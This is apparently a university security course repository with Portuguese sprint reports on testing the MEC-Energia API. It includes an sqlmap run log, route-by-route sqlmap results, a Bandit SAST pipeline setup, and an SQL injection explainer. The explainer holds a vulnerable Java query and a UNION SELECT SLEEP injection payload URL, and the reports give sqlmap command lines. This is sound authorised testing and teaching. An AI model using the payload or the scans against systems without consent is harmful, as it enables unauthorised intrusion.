___ ___ {1.8.7#stable} 169 | |_ -| . ["] | .'| . | 170 | |___|_ [,]_|_|_|__,| _| 171 | |_|V... |_| https://sqlmap.org 172 | 173 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 174 | 175 | [*] starting @ 23:49:00 /2024-11-27/ 176 | 177 | [23:49:00] [INFO] parsing HTTP request from 'request1.txt' 178 | Multipart-like data found in POST body. Do you want to process it? [Y/n/q] y 179 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] n 180 | [23:49:11] [INFO] testing connection to the target URL 181 | [23:49:12] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests 182 | [23:49:12] [INFO] checking if the target is protected by some kind of WAF/IPS 183 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] y 184 | [23:49:15] [WARNING] reflective value(s) found and filtering out 185 | [23:49:15] [INFO] testing if the target URL content is stable 186 | [23:49:16] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' 187 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c 188 | [23:49:37] [INFO] ignoring (custom) POST parameter 'MULTIPART csrfmiddlewaretoken' 189 | [23:49:37] [INFO] testing if (custom) POST parameter 'MULTIPART first_name' is dynamic 190 | [23:49:38] [WARNING] (custom) POST parameter 'MULTIPART first_name' does not appear to be dynamic 191 | [23:49:38] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART first_name' might not be injectable 192 | [23:49:39] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART first_name' 193 | [23:49:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 194 | [23:49:43] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 195 | [23:49:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 196 | [23:49:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 197 | [23:49:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 198 | [23:49:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 199 | [23:49:46] [INFO] testing 'Generic inline queries' 200 | [23:49:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 201 | [23:49:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 202 | [23:49:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 203 | [23:49:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 204 | [23:49:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 205 | [23:49:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 206 | [23:49:48] [INFO] testing 'Oracle AND time-based blind' 207 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y 208 | [23:49:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 209 | [23:49:53] [WARNING] (custom) POST parameter 'MULTIPART first_name' does not seem to be injectable 210 | [23:49:53] [INFO] testing if (custom) POST parameter 'MULTIPART last_name' is dynamic 211 | [23:49:54] [WARNING] (custom) POST parameter 'MULTIPART last_name' does not appear to be dynamic 212 | [23:49:54] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART last_name' might not be injectable 213 | [23:49:54] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART last_name' 214 | [23:49:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 215 | [23:49:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 216 | [23:49:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 217 | [23:49:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 218 | [23:49:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 219 | [23:49:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 220 | [23:49:59] [INFO] testing 'Generic inline queries' 221 | [23:49:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 222 | [23:50:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 223 | [23:50:00] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 224 | [23:50:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 225 | [23:50:01] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 226 | [23:50:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 227 | [23:50:02] [INFO] testing 'Oracle AND time-based blind' 228 | [23:50:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 229 | [23:50:04] [WARNING] (custom) POST parameter 'MULTIPART last_name' does not seem to be injectable 230 | [23:50:04] [INFO] testing if (custom) POST parameter 'MULTIPART password' is dynamic 231 | [23:50:04] [WARNING] (custom) POST parameter 'MULTIPART password' does not appear to be dynamic 232 | [23:50:04] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART password' might not be injectable 233 | [23:50:05] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART password' 234 | [23:50:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 235 | [23:50:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 236 | [23:50:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 237 | [23:50:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 238 | [23:50:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 239 | [23:50:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 240 | [23:50:10] [INFO] testing 'Generic inline queries' 241 | [23:50:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 242 | [23:50:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 243 | [23:50:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 244 | [23:50:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 245 | [23:50:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 246 | [23:50:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 247 | [23:50:12] [INFO] testing 'Oracle AND time-based blind' 248 | [23:50:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 249 | [23:50:14] [WARNING] (custom) POST parameter 'MULTIPART password' does not seem to be injectable 250 | [23:50:14] [INFO] testing if (custom) POST parameter 'MULTIPART email' is dynamic 251 | [23:50:15] [WARNING] (custom) POST parameter 'MULTIPART email' does not appear to be dynamic 252 | [23:50:15] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART email' might not be injectable 253 | [23:50:15] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART email' 254 | [23:50:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 255 | [23:50:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 256 | [23:50:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 257 | [23:50:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 258 | [23:50:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 259 | [23:50:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 260 | [23:50:20] [INFO] testing 'Generic inline queries' 261 | [23:50:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 262 | [23:50:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 263 | [23:50:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 264 | [23:50:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 265 | [23:50:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 266 | [23:50:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 267 | [23:50:23] [INFO] testing 'Oracle AND time-based blind' 268 | [23:50:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 269 | [23:50:25] [WARNING] (custom) POST parameter 'MULTIPART email' does not seem to be injectable 270 | [23:50:25] [INFO] testing if (custom) POST parameter 'MULTIPART type' is dynamic 271 | [23:50:25] [WARNING] (custom) POST parameter 'MULTIPART type' does not appear to be dynamic 272 | [23:50:25] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART type' might not be injectable 273 | [23:50:25] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART type' 274 | [23:50:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 275 | [23:50:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' 276 | [23:50:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' 277 | [23:50:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' 278 | [23:50:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' 279 | [23:50:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' 280 | [23:50:30] [INFO] testing 'Generic inline queries' 281 | [23:50:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' 282 | [23:50:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' 283 | [23:50:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' 284 | [23:50:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' 285 | [23:50:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' 286 | [23:50:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' 287 | [23:50:33] [INFO] testing 'Oracle AND time-based blind' 288 | [23:50:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 289 | [23:50:35] [WARNING] (custom) POST parameter 'MULTIPART type' does not seem to be injectable 290 | [23:50:35] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent' 291 | [23:50:35] [WARNING] HTTP error codes detected during run: 292 | 403 (Forbidden) - 423 times 293 | 294 | [*] ending @ 23:50:35 /2024-11-27/ 295 | ``` 296 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/Grupo2-RedTeam/211039439_Gabriel_Marques.md: -------------------------------------------------------------------------------- 1 | Relatório da Sprint 1 - Testando o SQLMap 2 | 3 | Durante essa primeira sprint eu acessei os cursos do HTB (Hack the Box) como solicitado pelo Rodolfo e fiz o primeiro módulo para essa sprint SQL Injection Fundamentals, resolvi o que foi solicitado e finalizei esse módulo. Então optei por concentrar primeiramente meus esforços em subir o ambiente do MEC energia no meu PC. Após finalizar a etapa de instalação das dependências e do próprio ambiente comecei a explorar a plataforma do MEC energia acessando via admin para decidir começar testes para a rota do subgrupo 2 o qual fui designado. 4 | 5 | A seguir apresento o retorno de alguns desses testes. 6 | 7 | Teste 1: 8 | ![][image1] 9 | 10 | Teste 2: 11 | ![][image2] 12 | 13 | Teste 3: 14 | ![][image3] 15 | 16 | Teste 4: 17 | ![][image4] 18 | 19 | Depois de aplicar os testes e utilizar as flags sugeridas para tentar encontrar brechas pude concluir que não houveram falhas de segurança na rota /api/consumer-units/ Pretendo agora focar em toda a rota relacionada para chegar a mais resultados 20 | 21 | [image1]: /2024.2/relatorio/Images/image1.png 22 | [image2]: /2024.2/relatorio/Images/image2.png 23 | [image3]: /2024.2/relatorio/Images/image3.png 24 | [image4]: /2024.2/relatorio/Images/image4.png 25 | 26 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/grupo_2.md: -------------------------------------------------------------------------------- 1 | # Relatório da Sprint 1 - Gabriel Campello Marques 2 | 3 | Durante essa primeira sprint eu acessei os cursos do HTB (Hack the Box) como solicitado pelo Rodolfo e fiz o primeiro módulo para essa sprint SQL Injection Fundamentals, resolvi o que foi solicitado e finalizei esse módulo. Então optei por concentrar primeiramente meus esforços em subir o ambiente do MEC energia no meu PC. Após finalizar a etapa de instalação das dependências e do próprio ambiente comecei a explorar a plataforma do MEC energia acessando via admin para decidir começar testes para a rota do subgrupo 2 o qual fui designado. 4 | 5 | A seguir apresento o retorno de alguns desses testes. 6 | 7 | Figura 1.1 - Teste 1: 8 | ![][image1] 9 | 10 | Figura 1.2 - Teste 2: 11 | ![][image2] 12 | 13 | Figura 1.3 - Teste 3: 14 | ![][image3] 15 | 16 | Figura 1.4 - Teste 4: 17 | ![][image4] 18 | 19 | Depois de aplicar os testes e utilizar as flags sugeridas para tentar encontrar brechas pude concluir que não houveram falhas de segurança na rota /api/consumer-units/ Pretendo agora focar em toda a rota relacionada para chegar a mais resultados 20 | 21 | [image1]: /2024.2/relatorio/sprint_1/img_g2/image1.png 22 | [image2]: /2024.2/relatorio/sprint_1/img_g2/image2.png 23 | [image3]: /2024.2/relatorio/sprint_1/img_g2/image3.png 24 | [image4]: /2024.2/relatorio/sprint_1/img_g2/image4.png 25 | 26 | # Relatório da Sprint 1 - Matheus Henrique Dos Santos 27 | 28 | ## Introdução 29 | 30 | Nesse sprint meu foco foi em realizar os cursos recomendados pelo monitor do grupo ([Rodolfo](https://github.com/roddas)) na plataforma [Hack The Box](https://www.hackthebox.com/), no caso os módulos **SQL Injection Fundamentals** e **SQLMap Essentials**. No decorrer dos estudos dos módulos citados, também, _“subi”_ o ambiente de teste do grupo, no caso a aplicação MEC-Energia. 31 | 32 | ## Metodologia 33 | 34 | Para realizar os testes das rotas proposta para essa sprint, foi realizada a configuração do ambiente de teste que consistia de uma máquina virtual contendo a versão 2024.3 do OS Kali Linux. Dentro da máquina virtual foram instaladas as ferramentas **Docker**, **Git**, **NPM** e **SQLMap** para que o ambiente de teste da aplicação fosse configurado corretamente para o teste da aplicação proposta ([MEC-Energia](https://gitlab.com/lappis-unb/projetos-energia/mec-energia)). Em relação a aplicação, a sua configuração foi realizada seguindo as instruções propostas pela página no GitLab. Realizada todas essas configurações, foram realizados os testes com SQLMap das [rotas propostas](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/url_mec_energia.txt) do sub grupo 2 no intuito de encontrar vulnerabilidades do tipo SQL Injection. 35 | 36 | ## Testes 37 | 38 | Para essa primeira primeira interação, foram utilizados apenas a flag _--ignore-code=401_, as rotas bases e a [API da aplicação](https://gitlab.com/lappis-unb/projetos-energia/mec-energia/mec-energia-api). O motivo da utilização da flag mencionada se deve ao fato de falhas na autenticação, outras flag não foram utilizadas devido a falta de familiaridade com a aplicação. As figuras 2.1 a 2.5 mostram os resultados. 39 | 40 |
41 | 42 | Figura 2.1 - Teste da rota na API de consumer-units. 43 | 44 | ![Teste da rota de consumer-units](./img_g2/21102966_test1.png) 45 | 46 |
47 | 48 |
49 | 50 | Figura 2.2 - Teste da rota na API de contracts. 51 | 52 | ![Teste da rota de contracts](./img_g2/211029666_test2.png) 53 | 54 |
55 | 56 |
57 | 58 | Figura 2.3 - Teste da rota na API de distributors. 59 | 60 | ![Teste da rota de distributors](./img_g2/211029666_test3.png) 61 | 62 |
63 | 64 |
65 | 66 | Figura 2.4 - Teste da rota na API de energy-bills. 67 | 68 | ![Teste da rota de energy-bills](./img_g2/211029666_test4.png) 69 | 70 |
71 | 72 |
73 | 74 | Figura 2.5 - Teste da rota na API de tariffs. 75 | 76 | ![Teste da rota de tariffs](./img_g2/211029666_test5.png) 77 | 78 |
79 | 80 | ## Conclusão 81 | 82 | Sendo assim, realizados os testes, não foram detectadas vulnerabilidades referentes à injeção de SQL nas rotas testadas. Já sobre a experiência, tive certa dificuldade em configurar o ambiente no Kali Linux e na realização dos cursos pela plataforma Hack The Box, pois a mesma possui algumas limitações para contas não pagantes que dificultam o progresso rápido nos cursos. Por fim, pretendo aprimorar meu conhecimento na ferramenta SQLMap para realizar testes mais profundos nas rotas. 83 | 84 | # Membro 3 85 | 86 | # Membro 4 87 | 88 | ## Bibliografia 89 | 90 | > 21Y4D. **SQL Injection Fundamentals**. HTB ACADEMY, 2024. Disponível em: <>. Acesso em: 23 de nov. de 2024. 91 | 92 | > STAMPARM. **SQLMap Essentials**. HTB ACADEMY, 2024. Disponível em: <>. Acesso em: 25 de nov. de 2024. 93 | 94 | ## Histórico de Versões 95 | 96 | | Versão | Data | Descrição | Autor(es) | 97 | | ------ | ---------- | ------------------------------------------ | ------------------------------------------------ | 98 | | `1.0` | 27/11/2024 | Adiciona relatório do Gabriel da sprint 1. | [Gabriel Campello](https://github.com/G16C) | 99 | | `1.1` | 28/11/2024 | Adiciona relatório do Matheus da sprint 1. | [Matheus Henrique](https://github.com/mathonaut) | 100 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/grupo_3.md: -------------------------------------------------------------------------------- 1 | # Relatório Sprint 1 - SQL Injections 2 | 3 | ## Membros 4 | 5 | | Nome | Matrícula | 6 | | :--: | :-------: | 7 | | [Mateus Fidelis](https://github.com/MatsFidelis) | 200073184 | 8 | | [Pablo Guilherme](https://github.com/PabloGJBS) | 200025791 | 9 | | [Pedro Lucas](https://github.com/AlefMemTav) | 190115548 | 10 | | [Rafael Bosi](https://github.com/strangeunit28) | 211029559 | 11 | 12 | ## Sobre 13 | Este relatório é destinado a documentar as descobertas do subgrupo em relação a vunerabilidades ou a inexistência delas em relação a ataques de SQL Injection na aplicação MEC Energia API. Primeiro foi necessário subir o ambiente de desenvolvimento da aplicação, passo esse que todos os membros conseguiram executar com exito. Logo após cada membro possuir uma estância local do projeto, começaram os testes em algumas das rotas da API (As rotas testadas pelo grupo podem ser encontradas [aqui](../../url_mec_energia.txt)). 14 | 15 | ## O que é SQL Injections 16 | 17 | SQL Injection é um tipo de vulnerabilidade de segurança que ocorre em aplicativos que interagem com bancos de dados. Ela acontece quando entradas fornecidas pelo usuário não são devidamente validadas ou sanitizadas, permitindo que códigos maliciosos sejam inseridos em comandos SQL. 18 | 19 | Isso pode levar a ações indesejadas, como acesso não autorizado a dados, exclusão ou modificação de informações, e até mesmo controle completo do banco de dados. Para prevenir SQL Injections, é essencial usar técnicas como consultas parametrizadas, validação rigorosa de entradas e o uso de frameworks seguros para manipulação de dados. 20 | 21 | No relatório **OWASP Top 10 de 2021**, injeções aparecem em **terceiro lugar** no ranking de vulnerabilidades mais críticas. Aqui estão alguns dados relevantes: 22 | 23 | - **94%** das aplicações testadas apresentaram vulnerabilidades a algum tipo de injeção. 24 | - Taxa máxima de incidência: **19%**. 25 | - Taxa média de incidência: **3%**. 26 | - Total de ocorrências relatadas: **274.228**. 27 | - Entre as falhas mais comuns relacionadas estão: 28 | - **CWE-89**: SQL Injection. 29 | - **CWE-79**: Cross-site Scripting. 30 | - **CWE-73**: Controle Externo de Nome ou Caminho de Arquivo. 31 | 32 | ## Exemplo de SQL Injection 33 | 34 | ### Cenário 1: Consulta SQL Vulnerável 35 | 36 | Imagine uma aplicação que constrói dinamicamente uma consulta SQL sem sanitizar os dados do usuário: 37 | 38 | ```java 39 | String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 40 | ``` 41 | O atacante pode manipular o parâmetro id na URL para executar comandos maliciosos, como: 42 | 43 | ```bash 44 | http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);-- 45 | ``` 46 | 47 | Isso altera a consulta para: 48 | 49 | ```SQL 50 | SELECT * FROM accounts WHERE custID='' UNION SELECT SLEEP(10);-- 51 | ``` 52 | 53 | Esse comando pode atrasar a resposta do banco de dados ou até mesmo revelar dados sensíveis. 54 | 55 | ### Cenário 2: Framework Vulnerável (HQL) 56 | 57 | Mesmo com frameworks como Hibernate, a falta de atenção à construção de queries pode gerar vulnerabilidades: 58 | 59 | ```java 60 | Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'"); 61 | ``` 62 | 63 | Um atacante pode injetar comandos para alterar o comportamento esperado, causando resultados similares ao cenário anterior. 64 | 65 | 66 | ## O que é o SQLmap 67 | 68 | O SQLmap é uma ferramenta que auxilia na realização de testes de sql injection, a qual realiza automaticamente uma serie de testes em uma url especifica acelerando assim o processo de caça de falhas. 69 | 70 | ### Como utilizar o SQLmap 71 | 72 | Para executar a ferramenta, utilize o seguinte comando no terminal: 73 | 74 | ```bash 75 | sqlmap -u "URL_ALVO" --batch 76 | ``` 77 | No comando acima: 78 | 79 | - A flag -u especifica a URL alvo. 80 | - A flag --batch aceita automaticamente as perguntas realizadas pela 81 | ferramenta, permitindo uma execução sem interrupções. 82 | 83 | Além disso, é possível utilizar outras flags que refinam e personalizam os testes realizados. Por exemplo: 84 | 85 | 86 | ```bash 87 | sqlmap -u "URL_ALVO" --level 3 --risk 2 --batch 88 | ``` 89 | Neste exemplo: 90 | - --level define o nível de profundidade dos testes, com valores de 1 a 5. 91 | - --risk especifica o nível de risco dos testes, com valores de 1 a 3. Níveis mais altos implicam testes mais detalhados e complexos.Em nossos testes utilizamos majoritariamente as flags --level e --risk setadas em 1 devido ao tempo de resposta da ferramenta, uma vez que ao selecionar os parametros mais altos os testes demoravam entre 10 a 15 minutos enquanto com os parametros mais baixos os testes demoravam cerca de 1 a 2 minutos possibilitando a realização dos testes em todas as URL's necessárias. 92 | 93 | ### Experiência com os testes 94 | 95 | Em nossos testes, utilizamos principalmente os valores --level 1 e --risk 1, priorizando a rapidez nos resultados. 96 | 97 | - Com parâmetros baixos: os testes foram concluídos em 1 a 2 minutos, permitindo analisar todas as URLs necessárias com eficiência. 98 | - Com parâmetros altos: os testes demoraram entre 10 a 15 minutos, tornando o processo menos prático em alguns casos. 99 | Essa abordagem balanceou o tempo de resposta com a eficácia dos testes. 100 | 101 | ## Dificuldades encontradas 102 | 103 | ### Mateus Fidelis 104 | 105 | - Nesta primeira sprint, minha maior dificuldade com o projeto foi corrigir e trabalhar com pequenos erros que apareciam ao tentar rodar o trabalho, desde peuenas atualizações que precisei fazer no Kali Linux para conseguir rodar os testes, até memo na própria aplicação enquanto rodava os testes durante o estudo sobre SQLi. 106 | 107 | ### Pablo Guilherme 108 | 109 | - A maior dificuldade foi em subir o ambiente devido a um conflito de versões do docker que ocorreu ao instalar a VM do Kali Linux, para corrigir este erro eu alterei os arquivos de Makefile com o objetivo de substituir os comandos docker compose por docker-compose 110 | 111 | ### Pedro Lucas 112 | 113 | - Eu instalei a Oracle Virtual Box [(O lugar mais correto para se baixar é pelo site oficial)](https://www.virtualbox.org/wiki/Linux_Downloads) e o Kali Linux. A princípio tive dificuldades de configurar o Kali na Virtual Box, mas ao seguir o tutorial do site oficial [Kali inside VirtualBox (Guest VM)](https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/) eu consegui o resultado. Além disso, eu subi os ambientes da MEC-Energia (Api e Web), tendo dificuldade de subir a parte da Web por algum problema que ainda não solucionei. Também criei uma conta no Hack The Box e comecei a estudar os cursos. É um site muito completo, com a única dificuldade de ser pago quase todo o material. No geral, acho que pela primeria Sprint, já deu para se ambientar no que vamos fazer durante o semestre na área de segurança. 114 | 115 | ### Rafael Bosi 116 | 117 | - Todos os membros foram orientados a subir uma máquina virtual que possuisse o sistema operacional Kali linux, eu não consegui subir essa máquina. O Kali linux tem várias ferramentas e softwares que auxiliam na busca e descoberta de vunerabilidades em aplicação, como o próprio SQLmap. Por não ter conseguido utilizar o Kali, tive que instalar e executar essa ferramenta no Ubuntu, também tive dificuldade nisso. 118 | 119 | 120 | ## Testes executados na Api do Mec Energia 121 | 122 | Para essa primeira Sprint foram testadas pelo grupo mais de [40 rotas](../../url_mec_energia.txt) da API do MEC Energia. Não foi encontrada nenhuma vunerabilidade em relação a SQL Injections nas rotas exploradas. Isso nos mostra que os campos de input para usuários, pelo menos nessas rotas, tem validações e são tratados no backend da aplicação. 123 | 124 | Abaixo é possível ver um screenshot de alguns dos testes realizados em cima das rotas da API. Também é possível observar na mesma imagem que nenhum dos testes rodados encontrou nenhuma vunerabilidade. No screenshot foram testadas as rotas "/api/clear-cache/", "/api/admin/login" e "/api/admin/login/?next/". 125 | 126 | ![Screenshot](../imagens/sql_grupo3.png) 127 | Imagem 1 - Explorando algumas rotas com SQLmap 128 | 129 | ## Referências 130 | 131 | - [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/) 132 | - [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard/) 133 | - [OWASP Testing Guide: SQL Injection, Command Injection, and ORM Injection](https://owasp.org/www-project-web-security-testing-guide/) 134 | - [OWASP Cheat Sheet: Injection Prevention](https://owasp.org/www-project-cheat-sheets/) 135 | - [OWASP Cheat Sheet: SQL Injection Prevention](https://owasp.org/www-project-cheat-sheets/) 136 | - [OWASP Cheat Sheet: Injection Prevention in Java](https://owasp.org/www-project-cheat-sheets/) 137 | - [OWASP Cheat Sheet: Query Parameterization](https://owasp.org/www-project-cheat-sheets/) 138 | - [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/) 139 | - [PortSwigger: Server-side template injection](https://portswigger.net/web-security/server-side-template-injection) 140 | 141 | 142 | -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/grupo_4.md: -------------------------------------------------------------------------------- 1 | # Relatório da Sprint 1 - SAST usando Bandit 2 | 3 | ## **Introdução** 4 | Neste relatório, detalhamos a experiência ao configurar e utilizar o **Bandit** como ferramenta de **SAST (Static Application Security Testing)** para identificar vulnerabilidades na API **mec-energia-api**. O Bandit foi integrado ao pipeline `.gitlab-ci.yml` e também configurado para rodar manualmente, facilitando a identificação de problemas de segurança no código Python. 5 | 6 | --- 7 | 8 | ## **Como o Bandit funciona no SAST** 9 | 10 | O Bandit analisa os arquivos Python no repositório para detectar padrões de código potencialmente inseguros. Ele verifica problemas como: 11 | - Uso inseguro de funções de criptografia. 12 | - Vazamento de informações sensíveis. 13 | - Injeção de código. 14 | - Uso incorreto de bibliotecas padrão. 15 | 16 | A ferramenta foi configurada no pipeline para executar automaticamente em cada *merge request* e em *pushes* para branches específicas, gerando um relatório JSON com os resultados. 17 | 18 | --- 19 | 20 | ## **Execução na Pipeline** 21 | 22 | ### Configuração no `.gitlab-ci.yml` 23 | Adicionamos o seguinte trecho ao pipeline para integrar o Bandit: 24 | 25 | ```yaml 26 | sast: 27 | stage: test 28 | image: python:3.11 29 | before_script: 30 | - pip install bandit 31 | script: 32 | - bandit -r . -f json -o sast-report.json 33 | artifacts: 34 | reports: 35 | sast: sast-report.json 36 | expire_in: 1 week 37 | ``` 38 | 39 | ### Como funciona: 40 | 41 | - Ambiente: A imagem do Python 3.11 é utilizada. 42 | - Instalação: O Bandit é instalado antes da execução. 43 | - Análise: Ele analisa recursivamente (-r) o diretório do projeto e gera um relatório no formato JSON. 44 | - Relatório: O resultado é anexado como artefato da pipeline e disponibilizado na aba "Segurança" do GitLab. 45 | 46 | ## **Execução manual** 47 | 48 | Para rodar o Bandit manualmente, siga os passos abaixo: 49 | 50 | ### Pré-requisitos 51 | Certifique-se de que o Python e o Bandit estão instalados no ambiente local: 52 | 53 | ```pip install bandit``` 54 | 55 | ### Comando para análise 56 | 57 | - Para gerar um relatório em JSON: 58 | 59 | ```bandit -r . -f json -o sast-report.json``` 60 | 61 | - Para ignorar determinados testes: 62 | 63 | ```bandit -r . -f json -o sast-report.json --skip B101,B102``` 64 | 65 | #### Teste do comando: 66 | ![][running] 67 | 68 | --- 69 | 70 | ### Resultados e Benefícios 71 | 72 | - Detectou vulnerabilidades iniciais: Foi possível identificar funções e bibliotecas que precisavam de ajustes para segurança. 73 | - Relatório automatizado: A integração com o GitLab permite fácil visualização dos problemas de segurança. 74 | - Execução simples: A ferramenta é leve e fácil de rodar, tanto na pipeline quanto localmente. 75 | 76 | #### Alguns dos resultados gerados: 77 | ![][results] 78 | 79 | ### Recomendações Futuras 80 | 81 | - Expandir a análise adicionando outras ferramentas de SAST complementares, como o Semgrep. 82 | - Automatizar a correção de vulnerabilidades recorrentes usando pré-commits ou hooks. 83 | 84 | [running]: ../../Images/bandit_running.png 85 | [results]: ../../Images/bandit_results.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/image-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/image-1.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/image.png -------------------------------------------------------------------------------- /2024.2/relatorio/sprint_1/img_g2/211029666_test2.png: -------------------------------------------------------------------------------- 